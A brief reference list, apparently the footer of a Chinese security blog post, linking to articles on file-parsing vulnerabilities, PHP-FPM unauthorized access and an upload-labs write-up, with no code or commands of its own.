参考文章: 文件解析漏洞总结https://www.smi1e.top/%E6%96%87%E4%BB%B6%E8%A7%A3%E6%9E%90%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/ Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html https://github.com/LandGrey/upload-labs-writeup
FROM :blog.cfyqy.com | Author:cfyqy
评论